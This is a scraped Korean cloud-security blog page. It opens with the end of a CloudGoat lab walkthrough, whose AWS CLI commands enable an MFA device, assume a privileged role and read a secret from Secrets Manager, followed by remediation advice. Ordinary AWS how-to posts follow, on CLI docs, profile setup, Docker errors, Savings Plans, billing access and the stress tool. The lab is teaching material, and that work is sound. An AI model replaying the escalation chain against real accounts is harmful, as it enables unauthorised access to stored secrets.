aws iam create-virtual-mfa-device --virtual-mfa-device-name TestMFADevice --outfile ./QRCode.png --bootstrap-method QRCodePNG --profile manager


### MFA 활성화 ###
aws iam enable-mfa-device --user-name admin_cgidl7mh6zo0vx --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --authentication-code1 <Code1> --authentication-code2 <Code2> --profile manager


### 역할 전환 AssumeRoles ###
aws sts assume-role --role-arn "arn:aws:iam::739275444311:role/cg_secretsmanager_cgidl7mh6zo0vx" --role-session-name "admin_cgidl7mh6zo0vx" --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --token-code <Code> --profile privesc_admin


### AssumeRoles 통해 발급받은 AccessKey 프로파일 생성 ###
aws configure set --profile assume_role_secretsmanager aws_access_key_id <access_key>
aws configure set --profile assume_role_secretsmanager aws_secret_access_key <secret_key>
aws configure set --profile assume_role_secretsmanager aws_session_token <session_token>


### Secret Manager 서비스의 Secret 값 가져오기 ###
aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:739275444311:secret:cg_secret_cgidl7mh6zo0vx-lBTKcL --profile assume_role_secretsmanager

 

 

[보안 개선 방안]

1. MFA 비활성화 권한 제거 (iam:DeactivateMFADevice)
사용자가 자신의 MFA를 비활성화하지 못하도록 해당 권한을 삭제해야 합니다.
관리자가 직접 MFA 관리 역할을 수행하도록 권한을 위임하는 것이 바람직합니다.

2. 액세스 키 생성 및 삭제 권한 제한
iam:CreateAccessKey, iam:DeleteAccessKey 권한을 사용자에게 부여하는 것은 보안상 위험합니다.
대신 관리자가 필요할 때만 키를 생성하도록 제한하는 것이 좋습니다.

3. 태그 변경 권한 범위 제한
"Resource": "*"을 특정한 리소스 ARN으로 제한해야 합니다.
예를 들어, arn:aws:iam::739275444311:user/specific-user 같은 특정 사용자만 대상으로 하도록 변경하는 것이 좋습니다.

4. 태그 기반 접근 제어 강화
TagResources 정책에서 사용자가 IAM 사용자 태그를 수정할 수 없도록 제한해야 합니다.
예를 들어, iam:TagUser 및 iam:UntagUser 권한을 제거하면 태그 기반 접근 제어 정책을 우회하는 것을 방지할 수 있습니다.

5. IAM 정책 모니터링 및 로깅
AWS CloudTrail을 사용하여 iam:DeactivateMFADevice, iam:CreateAccessKey, iam:TagUser 등의 이벤트를 모니터링하고, 이상 징후가 발생하면 경고를 받을 수 있도록 설정해야 합니다.

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

 

AWS CLI를 통해 멋지게 명령어를 입력하고 싶지만 어떤 명령어를 입력해야 할지 모르는 분들에게 도움되는 글입니다.

 

CLI 명령어 순서가 aws <서비스> 까지는 알겠는데 뒤에 어떤 옵션이 오는지 모르시겠다구요?

AWS CLI 명령어 입력 화면

 

다음 AWS 공식 사이트에서 CLI 명령어 옵션과 그에 대한 설명을 확인할 수 있습니다.

 

제가 너무나 아끼는 사이트 입니다

https://docs.aws.amazon.com/cli/latest/#

 

AWS CLI Command Reference — AWS CLI 1.38.24 Command Reference

Note: You are viewing the documentation for an older major version of the AWS CLI (version 1). AWS CLI version 2, the latest major version of AWS CLI, is now stable and recommended for general use. To view this page for the AWS CLI version 2, click here. F

docs.aws.amazon.com

 

 

 

사용 법은 iam서비스를 통해 cli를 사용하고 싶다면 위 URL에 들어가서 iam을 먼저 검색하여 들어갑니다.

AWS CLI iam 서비스 목록

 

iam 서비스를 클릭하면 그에 대한 설명과 사용할 수 있는 명령어가 아래에 나열되어 있습니다.

 

 

예를 들어 aws iam untag-user 명령어에 대해 알게되었다면 아래와 같이

untag-user 명령어가 무엇을 의미하고 어떻게 사용하는지도 아래 사진과 같이 알 수 있습니다.

 

 

 

이 글이 도움이 되셨기를 바랍니다.

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

 

CloudGoat를 사용해보고자 아래 명령어를 입력했을때 에러가 나는 분들은 해결할 수 있습니다.

# 입력한 명령어
./cloudgoat.py create <시나리오>

 

 

  에러 증상

Ubuntu에 CloudGoat를 git에서 다운받아 실행하니 아래와 같은 에러가 출력되었습니다.

Terraform 발생 에러

 

 

 

  원인 및 해결책

에러 발생 원인은 CloudGoat에 대한 AWS Profile이 없기 때문입니다.

에러가 발생하신 분들은 아래 API Access Key를 출력하는 명령어를 실행해보면 아래 사진과 같이 [default] 항목만 출력될 겁니다.

# API Access Key 출력
cat ~/.aws/credentials

 

AWS credential 출력

 

 

하지만 Profile을 추가하면 아래 노란색 네모박스와 같이 cloudgoat에 대한 Profile을 추가할 수 있습니다.

다음 명령어를 입력하여 cloudgoat에 대한 Profile을 추가해보겠습니다.

# Cloudgoat AWS Profile 추가
aws configure --profile cloudgoat
# 1) Acess ID 입력
# 2) Secreet Key 입력

 

 

 

이후 다시 cat ~/.aws/credentials 명령어로 출력해보면 아래와 동일하게 출력되는 것을 확인 가능하실 겁니다.

AWS API Access Key 출력

 

 

 

Profile이 추가되었다면 다시 ./cloudgoat.py create <시나리오> 명령어를 입력하면!

아래 사진과 같이 에러 없이 정상적으로 명령어가 실행되는 것을 확인할 수 있습니다.

명령어 실행 결과

 

 

이 글을 통해 문제가 해결되셨기를 바랍니다.

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

AWS 자격증을 준비하면서 개념 파악을 위해 AWS Fargate와 ECS를 사용해 보고자 AWS Docs를 보면서 따라하던 중

ECR 레포지토리를 생성하고 인증 부분에서 아래와 같은 에러를 만났습니다.

 

  에러메시지 내용

error during connect: this error may indicate that the docker daemon is not running: Post "http://%2F%2F.%2Fpipe%2Fdocker_engine/v1.24/auth": open //./pipe/docker_engine: The system cannot find the file specified.

 

  원인

Windows Docker Desktop이 정상적으로 실행되지 않아서 그렇습니다.

제 경우는 Hyper-V 관련 에러 메시지가 출력되면서 Docker Desktop이 정상적으로 동작하지 않고 있었습니다.

 

혹시 Windows Docker Desktop이 실행될 때 Hyper-V 관련 에러가 나온다면 아래 URL을 참고하면 바로 해결 가능합니다.

Powershell을 통해 명령어 한 줄 넣으니 바로 해결 되었습니다.

https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v

 

Enable Hyper-V on Windows 10

Install Hyper-V on Windows 10

learn.microsoft.com

 

  해결책

Windows Docker Desktop이 아래 사진과 같이 정상적으로 실행되면 에러 원인도 해결됩니다.

[인증 성공!]

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

AWS EC2 인스턴스 비용에 관해 고민해보신 분이라면 RI(Reserved Instances) 또는 Savings Plans에 대해 들어보셨을 겁니다.

하지만 이 둘의 차이점을 알지 못하는 분들이 많아 특징을 간단히 정리 후 차이점을 공유드리겠습니다.

 

RI (Rserved Instances)

  • 인스턴스 패밀리, 크기, 지역, 운영체제, 테넌시가 일치해야 함
    • 단, 크기가 다른 경우 정규화 인자만큼 적용
    • 참고) 패밀리 : (ex. t2, m5), 크기 : (ex. medium, large), 테넌시 : (전용 호스트, 전용 인스턴스)
  • 사용량 종료 시 갱신되지 않으며 온디맨드 요금 부과

 

* 정규화 인자만큼 적용되는 개념은 복잡하기 때문에 여기서 설명드리지 않겠습니다. 궁금하신분은 아래 링크를 달아드릴테니 확인하시면 됩니다.

https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/apply_ri.html#ri-normalization-factor

 

 

Savings Plans

  • 인스턴스 패밀리, 크기, OS, 테넌시, 지역 상관없음
  • AWS Fargate, Lambda에도 적용 가능
  • Savings Plans 종류(3가지)에 따라 최대 64%~72% 절약 가능
  • 사용량 종료 시 EventBridge를 통해 알림 가능

 

Savings Plans을 PC방에 비유하자면 정액권을 끊으면 그 금액 안에서 라면도 시켜먹고 PC방도 이용할 수 있는 개념인데 반해 RI는 PC방에 대한 사용권만 이용할 수 있는 것과 같습니다.

AWS에서는 RI보다는 Savings Plans를 더욱 권장하는 느낌입니다.

 

 

Savings Plans은 3종류로 나뉩니다.

 

Savings Plans 종류(3가지) 및 차이

Compute Savings Plans : 가장 유연한 요금제 - 최대 66% 할인

  • 지역, 인스턴스 패밀리, 크기, 운영체제, 테넌시 관계 없이 자동 적용 가능
  • Fargate 및 Lambda 사용량에 적용

EC2 Instance Savings Plans : 특정 지역의 인스턴스만 할인 - 최대 72% 할인

  • 인스턴스 패밀리, 크기, 운영체제, 테넌시 관계 없이 자동 적용 가능

SageMaker Savings Plans - 최대 64% 할인

  • 지역, 인스턴스 패밀리, 크기, 구성 요소(예: 노트북, 교육 등)에 관계 없이 자동 적용 가능

 

 

RI를 구매했는데 Savings Plans 구매를 고민하시는 분이라면 아래 사용량 적용 우선순위를 참고해주세요

 

 

사용량 적용 우선순위

  1. RI vs Savings Plans : RI가 우선 적용
  2. EC2 Instance Savings Plans vs Compute Savings Plans : EC2 Instance Savings Plans
  3. 소유자 계정 Savings Plan vs 다른 계정 Savings Plan : 소유자 계정이 우선 적용

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

 

AWS를 운영하면서 Root 계정과 IAM계정의 대표적인 차이는 "결제정보를 확인할 수 있냐 없냐" 입니다.

 

Root 계정과 IAM계정의 대표적인 차이점은 아래 글에서 확인이 가능합니다. 

https://betterinvesting.tistory.com/307

 

[AWS] Root 계정 vs IAM(Adminitrator) 권한 차이

AWS 계정 관리에 대한 IAM Root 계정에 대한 Best Practice 찾아 보면 Root 계정을 만들면 MFA 2단계 인증을 설정한 후 Root 계정을 사용하지 말고 IAM 계정에 Admin 권한을 부여하여 IAM 계정을 사용하라고 합

betterinvesting.tistory.com

 

일반적으로 AWS 기본 설정에서는 아래 사진과 같이 IAM 계정에서 청구서(결제)에 대한 정보 확인이 불가능합니다.

따라서 청구서 정보를 확인하기 위해서는 Root 계정에서만 확인 가능하다는 불편함이 존재합니다.

 

하지만 IAM 계정이라 하더라도 정책 설정을 변경하면 청구서 정보를 확인할 수 있습니다.

해당 정보는 AWS IAM(Identity and Access Management)에 관한 Docs에서 확인 하였습니다.

 

https://docs.aws.amazon.com/ko_kr/IAM/latest/UserGuide/tutorial_billing.html

 

IAM 자습서: 결제 콘솔에 대한 액세스 권한 위임 - AWS Identity and Access Management

사용자 편의를 위해 AWS 로그인 페이지는 브라우저 쿠키를 사용하여 IAM 사용자 이름 및 계정 정보를 기억합니다. 이전에 다른 사용자로 로그인한 경우 페이지 하단 근처의 다른 계정에 로그인(Sig

docs.aws.amazon.com

 

  청구서 확인을 위한 IAM 계정 설정 변경 방법

1. Root 계정으로 로그인하여 결제 정보에 대한 IAM 사용자 엑세스를 활성화 해줍니다.

방법 : 자신의 계정명 (클릭) > 계정 > 결제 정보에 대한 IAM 사용자 및 역할 엑세스 > 편집 > IAM 엑세스 활성화 (선택) > 업데이트 (클릭)

 

그러면 결제 정보에 대한 IAM 사용자/역할 엑세스가 활성화되었습니다. 라는 문구를 확인할 수 있습니다.

 

2. (기존에 IAM 사용자가 있다는 전제) IAM 사용자에게 billing 권한을 부여

IAM 계정이 없으시다면 만드셔서 테스트 하시면 되고 있다면 아래 방법대로 그대로 따라하면 됩니다.

 

방법 : IAM > (청구서를 보기 위한) 사용자 또는 사용자 그룹 > 선택 > 권한 > 권한 추가 > 정책연결 > billing 검색 후 권한 추가

 

참고로 아래 사진은 보여드리기 위해 두 개의 권한(Billing, AWSBillingReadOnlyAccess)을 모두 추가한 상태이고 실제 사용을 위해서는 Billing 또는 AWSBillingReadOnlyAccess 두개의 권한 중 하나만 선택하시면 됩니다.

저는 안전하게 이용하기 위해 최소 권한인 AWSBillingReadOnlyAccess 권한을 추가했습니다.

 

3. 이제 다시 IAM 계정에 로그인 하여 청구서를 확인해 보니 아래 사진과 같이 결제 정보를 확인할 수 있습니다.

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

AWS CloudWatch의 경보 테스트를 하기 위해

Linux의 CPU, Memory의 과부화 테스트 도구인 Stress 툴을 설치하였습니다.

 

설치를 위해 설치 명령어를 검색해보니 모든 블로그들이 아래와 같은 2개의 명령어를 입력하라고 나오더라구요?

1
2
sudo yum -y install epel-release
sudo yum -y install stress
cs

 

그런데 stress 툴은 알겠는데 epel이 뭐지? 라는 생각이 들어서 검색해보니 epel은 Fedora에서 따로 패키지를 제공하는 패키지 저장소입니다.

삼성 몇몇 앱들이 구글 앱 스토어에서 앱을 다운받는게 아닌 갤럭시 스토어에서 다운받는 것과 같은 개념이라고 이해하시면 될 것 같습니다.

 

저는 남들과는 다르게 하기 위해 조언을 따르지 않고 바로 stress 툴을 설치 시도 해봤습니다.

 

역시 경험자들의 조언은 무시하면 안되는 것인가...

그래서 저 역시 epel-release 패키지 설치 명령어를 입력하였습니다.

그런데 왠 걸? 오류가 뜨는데... 

오류 메시지를 확인해보니 Amazon Linux는 다른 명령어를 쳐야 되는 것이였습니다.
그래서 안내에 따라 아래의 명령어를 쳐봤습니다.

설치 성공!

Amazon Linux를 사용하시는 분들은 아래의 명령어 2줄을 입력해주시면

쉽고 빠르게 설치가 가능합니다.

1
2
sudo amazon-linux-extras install epel
sudo yum -y install stress
cs

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

클라우드 Managed 서비스 관련 문의 : caul334@gmail.com

 

반응형

+ Recent posts